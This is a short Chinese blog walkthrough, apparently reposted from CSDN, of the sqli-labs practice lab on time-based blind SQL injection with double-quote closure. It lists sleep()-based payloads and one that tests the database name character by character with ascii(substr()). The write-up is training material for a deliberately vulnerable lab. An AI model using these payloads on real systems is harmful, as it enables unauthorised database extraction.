sqli-labs练习(十)--- GET-Blind-Time based-double quotes

这里写图片描述

payload:id=1
这里写图片描述

通过几次尝试,可以发现,这是一个基于时间的盲注,
payload:id=1' and sleep(5)%23,时间并没有延迟5秒,说明不是单引号的闭合
这里写图片描述

payload:id=1" and sleep(5)%23,页面发生延迟,说明是双引号的闭合
这里写图片描述

payload:id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),null)%23,(tip:小写字母s的ascii码值是115)页面发生延迟
这里写图片描述

猜你喜欢

转载自blog.csdn.net/qq_34444097/article/details/81196559
今日推荐